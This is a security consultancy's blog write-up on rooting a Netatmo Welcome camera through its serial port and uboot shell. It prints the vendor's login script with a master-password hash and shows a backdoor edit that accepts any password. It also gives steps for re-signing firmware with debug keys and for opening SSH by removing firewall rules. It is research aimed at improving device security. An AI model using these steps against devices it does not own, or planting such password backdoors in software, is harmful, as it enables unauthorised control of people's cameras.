by Wilfried Kirsch, Senior Consultant and Fabian Hafner, Senior Consultant
~8 min reading time
Contents
- Dismantling and getting a serial port connection
- Exploiting the camera using the uboot shell
- Analyzing the console login script
- Getting/Flashing firmware updates
- Enable local SSH/disable SSH access for Netatmo
- Conclusion
1. Dismantling and getting a serial port connection
We found teardowns for the camera on the internet and identified a serial port connection on the mainboard! The camera can be dismantlement easily, you only need to have the necessary Torx screwdriver and some flair. Then we soldered a three pin wire to the ports for a constant connection and connected it to a serial port to USB converter you can get for some bucks at most online hardware stores (USB to RS232 TTL TTL UART PL2303HX adapter). The pin assignment is labeled on the plate and the serial port connection is set to default values (115200 8N1, with hardware flow control set to 1 and software flow control set to 0) so we could easily connect to it using the minicom or screen (screen /dev/ttyUSB0 115200,cs8,ixon) tool.

Cables connected to the serial ports on the mainboard of the camera.
2. Exploiting the camera using the uboot shell
What you see while connected to the serial port connection is the detailed boot and event log and an error message on pressing the return key, that the password is wrong following the echoed firmware version.
Incorrect password. Firmware version: 73 NSC[70:ee:50:2e:33:09] password:
We could terminate the password prompt with CTRL+D to restart the service, revealing the name console_login.sh.
While bruteforcing might be possible with firmware version 73 (the version our camera was delivered with), we encountered some protections on this end when updated to version 199. We will go into these changes more detailed in the next chapter.
We first tried to use a technique called pin2pwn but quickly found out that an uboot console can be safely gained by pressing and holding the ‘s’ key while booting the device. Once in the uboot shell we gathered information on which commands are available:
? - alias for 'help' base - print or set address offset boot - boot default, i.e., run 'bootcmd' boota - boota - boot android bootimg from memory bootd - boot default, i.e., run 'bootcmd' bootelf - Boot from an ELF image in memory bootm - boot application image from memory bootvx - Boot vxWorks from an ELF image cmp - memory compare cp - memory copy crc32 - checksum calculation efex - run to efex env - environment handling commands exit - exit script false - do nothing, unsuccessfully fastboot_test- do a sprite test fatdown - download data to a dos filesystem fatinfo - print information about filesystem fatload - load binary file from a dos filesystem fatls - list files in a directory (default /) go - start application at address 'addr' help - print command description/usage key_test- Test the key value logo - show default logo loop - infinite loop on address range mass_test- do a usb mass test md - memory display memcpy_test- do a memcpy test mm - memory modify (auto-incrementing address) mmc - MMC sub system mmcinfo - display MMC info mtest - simple RAM read/write test mw - memory write (fill) nm - memory modify (constant address) pburn - do a burn test printenv- print environment variables recovery- sunxi recovery function reset - Perform RESET of the CPU run - run commands in an environment variable save_userdata- save user data saveenv - save environment variables to persistent storage setenv - set environment variables showvar - print local hushshell variables shutdown- shutdown the system sprite_test- do a sprite test standby - run to boot standby sunxi_bmp_info- manipulate BMP image data sunxi_bmp_show- manipulate BMP image data sunxi_boot_signature- sunxi_boot_signature sub-system sunxi_flash - sunxi_flash sub-system test - minimal test like /bin/sh timer_test- do a timer and int test timer_test1- do a timer and int test true - do nothing, successfully version - print monitor, compiler and linker version
the locations from our bootlog:
--------fastboot partitions-------- -total partitions:10- -name- -start- -size- bootloader : 1000000 1000000 env : 2000000 20000 boot : 2020000 2000000 system : 4020000 28000000 data : 2c020000 40000000 misc : 6c020000 1000000 recovery : 6d020000 2000000 cache : 6f020000 1000000 databk : 70020000 38000000 UDISK : a8020000 0 -----------------------------------
and what environment variables are set:
#printenv: baudrate=115200 boot_fastboot=fastboot boot_normal=sunxi_flash read 40007800 boot;boota 40007800 boot_recovery=sunxi_flash read 40007800 recovery;boota 40007800 bootargs=console=ttyS0,115200 root=/dev/nanddinit=/init loglevel=8 partitions=${partitions} bootcmd=run setargs_nand boot_normal bootdelay=3 console=ttyS0,115200 init=/init loglevel=8 mmc_root=/dev/mmcblk0p7 nand_root=/dev/nandd setargs_mmc=setenv bootargs console=${console} root=${mmc_root}init=${init} loglevel=${loglevel} partitions=${partitions} setargs_nand=setenv bootargs console=${console} root=${nand_root}init=${init} loglevel=${loglevel} partitions=${partitions} stderr=serial stdin=serial stdout=serial Environment size: 699/131068 bytes
The interesting part is that we have access to the SD card in uboot using the fat commands (fatload, fatdown, fatls…) and also know how the boot image is loaded to ram and where it is located. We used this by first downloading the used boot image, then extracting it to disable the login script, compress it again and loading it to RAM to then finally boot it.
fatdown mmc 0:1 40007800 boot.img
The boot image was extracted using a tool named bootimgtool.
Then the ramdisk was extracted using gunzip and cpio:
Knowing the name of the password prompt service, we simply searched after console_login.sh in the init.rc file and removed the service definition.
#service console /system/bin/console_login.sh # class core # console # disabled # user shell # group log
And finally everything was put together again and copied to the memory card, by executing the following commands in the ramdisk directory:
bootimgtool -r newRamdisk.img -c bootNew.img
In uboot the SD card is recognized/found using the mmc command and fatload is used to put the new image to ram. Finally, we use the boota command, the same way it is used for normal boot, to start the system using our new image.
fatload mmc 0:1 40007800 new3.img
boota 40007800
When booting is done, we have direct access to the system without having to add a user password. Privilege escalation is as easy as typing ‘su’ to get root privileges.
3. Analyzing the console login script
So this was a surprise, the login script checks for the secret we already found in our first blog post about the Netatmo Welcome camera. By knowing this, direct shell access is really easy now! Particular funny is the comment at the first line of the script ‘A simple “login” equivalent to replace the open serial console on production, to slow-down reverse-engineering. If you can read this, it didn’t work.‘. Well it seems it did not work for us.
#!/system/bin/sh # A simple "login" equivalent to replace the open serial console on production, # to slow-down reverse-engineering. # If you can read this, it didn't work. if [ -e /system/etc/netatmo-production.txt ]; then PRODFLAG=`cat /system/etc/netatmo-production.txt` if [ "$PRODFLAG" -eq 0 ]; then exec /system/bin/sh fi # prod=1 or file missing : ask for password fi DBLIBTOOL=/system/bin/dblibtool # md5 of the md5 of rsa BIGSECRET="4ca9f3a5ce53a81a12af0f6c22a5775d" NBTRY=0 while true; do MAC=`${DBLIBTOOL} -get 1` SECRET=`${DBLIBTOOL} -get 3` echo -n "Firmware version: " cat /system/etc/netatmo-version.txt VALIDSECRET=1 if [ -z "$MAC" -o -z "$SECRET" ]; then echo "NSC[] : dblib not configured yet" VALIDSECRET=0 fi if [ ${#SECRET} -lt 6 ]; then echo "NSC[$MAC] dblib secret invalid" VALIDSECRET=0 fi # Only need to type first 6 characters of SECRET SHORTSECRET=`echo -n "$SECRET" | /system/bin/busybox cut -c 1-6` echo -n "NSC[$MAC] password: " # "read -s" is not implemented, do it old-fashion busybox stty -echo read password busybox stty echo if [ $VALIDSECRET -eq 1 ]; then if [ "$password" == "$SHORTSECRET" -o "$password" == "$SECRET" ]; then echo "Password accepted." exec /system/bin/sh fi fi # In case of a corrupted dblib, be able to login with a master password password_hash=`echo -n "$password" | /system/bin/busybox md5sum - | /system/bin/busybox cut -d' ' -f 1` if [ "$password_hash" == "$BIGSECRET" ]; then echo "Master password accepted." exec /system/bin/sh fi echo "Incorrect password." done
The login script contained new code at the end with 2 second sleep time and was disabled after 3 attempts. While in the first version 6 characters for short secret were enough, later there were 16 characters requested. The script was disabled by forcing an endless loop, that could be simply circumvented by pressing control+c to terminate and restart the login script, which was fixed by a trap ” INT command.
# Only need to type first 16 characters of SECRET SHORTSECRET=`echo -n "$SECRET" | /system/bin/busybox cut -c 1-16` sleep 1 echo "Incorrect password." sleep 1 NBTRY=$((NBTRY+1)) if [ $NBTRY -gt 3 ]; then echo "Login disabled." while true; do sleep 10 echo "." done fi
We made a simple change to the script for persistence by changing the comparison to unequal and added ‘-c su’ for convenience reasons:
if [ "$password_hash" != "$BIGSECRET" ]; then echo "Master password accepted." exec /system/bin/sh -c 'su' fi
4. Getting/Flashing firmware updates
We analyzed the firmware update script and found the correct API call for firmware request updates.
{"body":{"timezone":"Europe\/Berlin","share_info":false,"firmware_info":{"fw_url":"https:\/\/fw-556112.c.cdn77.org\/nsc-v250-hk-fix-faceconvert-prod.zip"},"home_id":"5bd724ed2d3e046ad38bd32f"},"status":"ok","time_exec":0.007094144821167,"time_server":1540826441}
Giving us a static still valid URL to download the, at the moment of writing, newest firmware image as ZIP-file.
You can download the latest two firmware images here:
https://fw-556112.c.cdn77.org/nsc-v199-PROD.zip
https://fw-556112.c.cdn77.org/nsc-v250-hk-fix-faceconvert-prod.zip
https://fw-556112.c.cdn77.org/nsc-v270-dtg-v54-PROD.zip
https://fw-556112.c.cdn77.org/nsc-v425-2056ca8cda81f727a676f40a78e6b102.zip
https://fw-556112.c.cdn77.org/nsc-v440-PROD-4f398a75ccaffbdd794ba8c10d381c99.zip
The ZIP files are typical Android update ZIPs/JAR files, with a certificate (CERT.RSA) and a list of SHA1 sums for each file (MANIFEST.MF). The list itself is signed with the certificate. Changing a file inside the ZIP will result in an integrity check failure. The private certificate allowed to sign these zips is not owned by us, so we have to change the recovery checking these certificates! We used the tools/ubiquitous Android debug keys, from this XDA post:
https://forum.xda-developers.com/nook-touch/general/solution-customize-update-factory-image-t3027759
In short: First get a copy of your recovery image, then use scp to get it to your local machine and extract it the same way we did before:
bootimgtool -x recovery.img
gunzip -c ../ramdisk.img | cpio -i
Next you have to replace/add the default key to the /res/keys file in your extracted ramdisk. Then pack, scp and flash your new recovery:
bootimgtool -r newRamdisk.img -c recoveryNew.img
scp ...
dd of=recoveryNew.img if=/def/block/by-name/recovery b=1024
You can then change the downloaded firmware to your liking, but don’t forget to use the signapk tool with the default android key to sign it afterwards!
You can flash the .zip by copying it to the device and using the following commands taken from the Netatmo update script (don’t forget to adjust the path to your file):
echo "boot-recovery --update_package=$DIR/ota.zip" >; /cache/recovery/command
/system/bin/netatmo_reboot.sh 3 recovery
5. Enable local SSH/disable SSH access for Netatmo
It is much more convenient to access the camera via SSH. To do so, add the line “ListenAddress 0.0.0.0” in /data/ssh/sshd_config. You might want to block Netatmo from accessing your device via SSH, by deleting the line containing “ListenAddress 10.255.145.118”.
In newer firmware versions, this alone won’t do the trick as traffic to port 22 is still blocked by the firewall. Rename or remove /system/bin/iptables_ssh.sh and delete lines 13 and 19 in /system/bin/check_ssh.sh (shown below) to remove iptables rules, which block the SSH port. After rebooting, you should be able to connect via SSH.
#!/bin/sh IS_PROD=$(cat "/etc/netatmo-production.txt") if [ "$IS_PROD" -eq 0 ] ; then exit fi # default to 0 if file does not exist SSH_ALLOWED_DELAY=$(cat "/data/netatmo/var/ssh-timeout.txt" || echo 0) if [ "$SSH_ALLOWED_DELAY" -lt "$(date +%s)" ]; then # Check if there is an already set rule to prevent adding more than one rule if [ "$(iptables -L INPUT --line-numbers | grep ssh | busybox awk '{print $1}')" -eq 0 ]; then # Disable ssh port iptables -A INPUT -j REJECT -p tcp --dport 22 fi # Do the same with ipv6 if [ "$(ip6tables -L INPUT --line-numbers | grep ssh | busybox awk '{print $1}')" -eq 0 ]; then # Disable ssh port ip6tables -A INPUT -j REJECT -p tcp --dport 22 fi fi
For convenience, you can just use the RSA Key that’s already on the device (/data/ssh/authorized_keys). Fun fact: In the firmware version 250 this private key seemed to belong to fpotter, which is very likely Fred Potter, the CEO of Netatmo.
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDDj/6pdOoky0qsAiKZxfyMoUwiBpFkrAUBUA2ZaSCZIobARH3ANYYWaJoKN8+mjo6UpShK9GVSgBnRaLV0vwkr+QP1anTBX3s9zRhm2vDA5nfwnogWq/MZ4VaVONl4aLnpw29bBYuomhgU1Oxexzp6dP//XmbqUjLXH9ND1fR6LBkHkhpWNWa27O7UhpEs+fkuZlMuEasUNntgoyU5818950uxrtK3rHz1HN3UdxknREsy5VMPQgchS23kNr+w2lirqDWz0q8YpGqU89YCuQlNKeAPOdlw7APBqi719LxlusCwjnqi/x+B3mpGWLdukNT327EBAP8cwaIrwicRhTcF fpotter@dell-fpotter
6. Conclusion
Once we got into the bootloader shell, things were pretty easy. If you have a serial port connection, setting a password is not enough to secure your device. We recommend to further secure the boot process, so that only images signed by Netatmo can be booted. An attacker that is able to boot into his own image, can completely own the device.
Read about the other vulnerability we found here.
Read about other interesting topics on our blog.